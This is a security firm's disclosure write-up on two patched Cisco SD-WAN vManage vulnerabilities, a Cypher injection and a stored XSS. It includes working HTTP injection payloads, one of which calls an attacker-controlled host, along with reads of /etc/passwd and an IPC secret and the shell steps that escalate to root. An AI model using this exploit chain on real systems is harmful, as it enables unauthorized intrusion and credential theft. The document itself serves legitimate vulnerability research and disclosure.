Pentesting Cisco SD-WAN Part 1: Attacking vManage

Written by Julien Legras , Thomas Etrillard - 25/03/2020 - in Pentest - Download

In late 2019, a customer asked Synacktiv to perform a security assessment in a few days of their SD-WAN project based on the Cisco SD-WAN solution. During this engagement, we actually found a few interesting vulnerabilities in different components.
For this first article, we will focus on the vManage component which was recently patched to address the following vulnerabilities:
CVE-2019-16012: vManage Cypher Injection
CVE-2019-16010: vManage Stored XSS

SD-WAN is a software-defined approach to managing the wide-area network (WAN), using remotely configurable devices through some web interfaces. Cisco acquired the Viptela solution that consists in four main components:

vManage - Management Dashboard.
vEdge - The edge router at branches.
vBond - The Orchestrator.
vSmart - The Controller.

Basically, vManage is the management interface that operations team is using for its day to day activities.

CVE-2019-16012: vManage Cypher injection

Using a combination of dynamic and static analysis of the vManage Java application, we identified an endpoint which requires a user input that is not correctly sanitized. By adding \' to the HTTP parameter, the following error appears:


GET /dataservice/group/devices?groupId=test\' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net

[...]



HTTP/1.1 500 Internal Server Error

Cache-Control: no-cache, no-store, must-revalidate

X-Frame-Options: DENY

Date: Mon, 02 Sep 2019 07:27:11 GMT

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=31536000; includeSubDomains

Content-Type: application/json

Content-Length: 1927



Invalid input ''': expected whitespace, '.', node labels, '[', "=~", IN, STARTS, ENDS, CONTAINS, IS, '^', '*', '/', '%', '+', '-', '=', "<>", "!=", '<', '>', "<=", ">=", AND, XOR, OR or ')' (line 1, column 120 (offset: 119))

"MATCH (n:vmanagedbDEVICENODE)  with n  match (n)-[xa1:vmanagedbDEVICE]->(a1) with n, a1, xa1 match (n)  WHERE ('test\\'' IN n.`groupId` and n.`device-model` <> 'vedge-ccm') RETURN  n.`deviceId` as `deviceId` ,n.`system-ip` as `system-ip` ,n.`host-name` as `host-name` ,n.`reachability` as `reachability` ,n.`status` as `status` ,n.`personality` as `personality` ,n.`device-type` as `device-type` ,n.`timezone` as `timezone` ,n.`device-groups` as `device-groups` ,n.`lastupdated` as `lastupdated` ,n.`bfdSessionsUp` as `bfdSessionsUp` ,n.`domain-id` as `domain-id` ,n.`board-serial` as `board-serial` ,n.`certificate-validity` as `certificate-validity` ,n.`max-controllers` as `max-controllers` ,n.`uuid` as `uuid` ,n.`bfdSessions` as `bfdSessions` ,n.`controlConnections` as `controlConnections` ,n.`device-model` as `device-model` ,n.`version` as `version` ,n.`connectedVManages` as `connectedVManages` ,n.`site-id` as `site-id` ,n.`ompPeers` as `ompPeers` ,n.`latitude` as `latitude` ,n.`longitude` as `longitude` ,n.`isDeviceGeoData` as `isDeviceGeoData` ,n.`platform` as `platform` ,n.`uptime-date` as `uptime-date` ,n.`statusOrder` as `statusOrder` ,n.`device-os` as `device-os` ,a1.`validity` as `validity` ,n.`state` as `state` ,n.`state_description` as `state_description` ,n.`model_sku` as `model_sku` ,n.`local-system-ip` as `local-system-ip` ,n.`total_cpu_count` as `total_cpu_count` ,n.`linux_cpu_count` as `linux_cpu_count` ,n.`testbed_mode` as `testbed_mode` ,n.`layoutLevel` AS `layoutLevel`,n.`asc` AS `asc` order by `layoutLevel` ASC,`asc` ASC,`host-name` ASC  "

This behavior can be explained by reviewing the source code of the endpoint (classes/com/viptela/vmanage/server/group/DeviceGroupRestfulResource.java), which uses the listDevicesForAGroup function, with groupId as a parameter but fails to sanitize this input:


public JsonArray listDevicesForAGroup(String groupId, Collection<DeviceType> allowedPersonality)

{

  groupId = groupId.replace("'", "\\'");

  VGraphDataStore dataStore = getDatabaseManager().getGraphDataStore();Throwable localThrowable3 = null;

  try {

[...]

    queryBuilder.has(groupId, Operator.IN, "groupId");

    queryBuilder.has("device-model", Operator.NOT_EQUAL, DeviceModelName.CCM.getName());

This endpoint can be reached from the lowest privilege but using this injection, we can retrieve sensitive data, such as the configuration of devices and passwords hashes.

LOAD CSV^WREQUEST^WFILE

That's nice, that's the purpose of an injection, but we're used to classic DBMS with features such as LOAD DATA INFILE or LOAD_FILE(), so we took a look at the documentation of Neo4j and found that the Cypher query language supports the LOAD CSV clause that can be used to perform requests to an attacker controlled server:


GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"http%3a//sc89bh0uzi86883zeezrpqtodfj57u.controlled.tld\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



<html><body>9r0z5rg1gsunj37d5irwqczjigz</body></html>

It was not really interesting to load external files in our context but thanks to a misconfiguration of the Neo4j instance on the server (dbms.directories.import), we are able to read files on the filesystem:


GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/passwd\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



root:x:0:0:root:/home/root:/bin/sh

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

[...]

Give me a root shell

vManage users are mapped to Linux users and they can connect to the SSH server. Please note the SSH server may not be exposed.

The /etc/passwd configuration shows the default shell for these users:


admin:x:1000:1000::/home/admin:/usr/sbin/viptela_cli

vmanage-admin:x:1001:1001::/home/vmanage-admin:/usr/sbin/viptela_cli

basic:x:1002:100::/home/basic:/usr/sbin/viptela_cli

viptela-reserved-cloudops:x:1003:100::/home/viptela-reserved-cloudops:/usr/sbin/viptela_cli

viptela-reserved-tac:x:1004:100::/home/viptela-reserved-tac:/usr/sbin/viptela_cli

viptela-reserved-dca:x:1005:1005::/home/viptela-reserved-dca:/usr/sbin/viptela_cli

viptela-reserved-cloud:x:1006:1006::/home/viptela-reserved-cloud:/usr/sbin/viptela_cli

With the same low privileges user account, it is possible to connect via SSH to the vManage instance and gain a restricted shell. In a nutshell, the viptela_cli binary specified in /etc/passwd replaces itself with the confd_cli binary, which communicates with the confd daemon using a socket on localhost port 4565, setting up kind of an interactive TTY and a restricted shell (Viptela CLI). This restricted shell allows us to runs the vshell, which starts /bin/bash.


$ ssh admin@172.28.128.5

viptela 18.4.1



Welcome to Viptela CLI

admin connected from 172.28.128.1 using ssh on vmanage

vmanage# vshell

vmanage:~$ id

uid=1000(admin) gid=1000(admin) groups=1000(admin)

vmanage:~$ pstree

runsvdir-+-nginx---nginx

[...]

         |-runsv-+-logger

         |       `-sysmgrd-+-cfgmgr

         |                 |-confd-+-cmdptywrapper---bash

         |                 |       `-cmdptywrapper---bash---pstree

[...]

         |                 |-sshd---sshd---sshd---confd_cli

After digging a little through some documentation related to confd and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in /etc/confd/confd_ipc_secret:


vmanage:~$ ls -al /etc/confd/confd_ipc_secret 

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Remember our Neo4j instance? It is running under the vmanage user's privileges, thus allowing us to retrieve the file using the previous vulnerability:


GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net 



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

The confd_cli program does not support command line arguments but calls /usr/bin/confd_cli_user with arguments. So, we could directly call /usr/bin/confd_cli_user with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell:


vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret 

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

CVE-2019-16010: vManage Stored XSS

This vulnerability is a classic. As an authenticated user, when using the API to retrieve logs, the HTML elements present in the page are not encoded. Furthermore, the Content-Type returned by the server is text/html, thus leading to JavaScript execution inside user's browser. Let's poison the logs by creating a stacktrace using the following URL:


https://vmanage-xxxxx.viptela.net/dataservice/util/logfile/appserver/lastnlines?lines=1%3Cscript%3Ealert(1)%3C/script%3E.

When this URL is accessed, it will log an error with malicious HTML code and then, it print the logs, executing the payload:


HTTP/1.1 200 OK

Connection: close

Vary: Accept-Encoding

Cache-Control: no-cache, no-store, must-revalidate

Strict-Transport-Security: max-age=31536000; includeSubDomains

X-Frame-Options: DENY

Content-Type: text/html

Date: Fri, 30 Aug 2019 13:29:48 GMT



[...]

Caused by: java.lang.NumberFormatException: For input string: "1<script>alert(1)</script>"

    at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) [rt.jar:1.8.0_162]

    at java.lang.Integer.parseInt(Integer.java:580) [rt.jar:1.8.0_162]

A note on vManage technologies

If we take a look at the running processes on vManage, it looks like a zoo with plenty of services:

JBoss
Kafka
Neo4j
ElasticSearch
OrientDB
Consul
ZooKeeper
and more...

As one can see, the attack surface is quite large but not all services are exposed. Nonetheless, other privileges escalations may exist using the listed services as they are running as the vmanage user.

Conclusion

The vManage solution looks like a patchwork of technologies, which often introduce vulnerabilities as they are not all hardened nor isolated from one another.

To reduce the risk of exploitation, it is crucial to restrict network access to this interface only to designated administrators.

In the next article, we will talk about another component, and its full compromise. Stay tuned!

Timeline

23/09/2019: Vulnerabilities details sent to psirt@cisco.com
25/09/2019: Reply from Cisco
30/09/2019: Agreed on 90 days before disclosure
22/10/2019: Cisco asked to delay the disclosure to mid or late January 2020
09/01/2020: Cisco asked for additionnal 90 days delay
10/01/2020: Agreed for additionnal 60 days delay
18/03/2020: Security advisories (CSCvr42496 & CSCvs09263) and SD-WAN Software version 19.2.2 released

Pentesting Cisco SD-WAN Part 1: Attacking vManage

CVE-2019-16012: vManage Cypher injection

LOAD CSV^WREQUEST^WFILE

Give me a root shell

CVE-2019-16010: vManage Stored XSS

A note on vManage technologies

Conclusion

Timeline

References

Other publications

Exploiting a Blind Format String Vulnerability in Modern Binaries: A Case Study from Pwn2Own Ireland 2024

Forensic analysis of bitwarden self-hosted server

Quantum readiness: Lattice-based PQC

Contact us

PARIS

TOULOUSE

LYON

RENNES

LILLE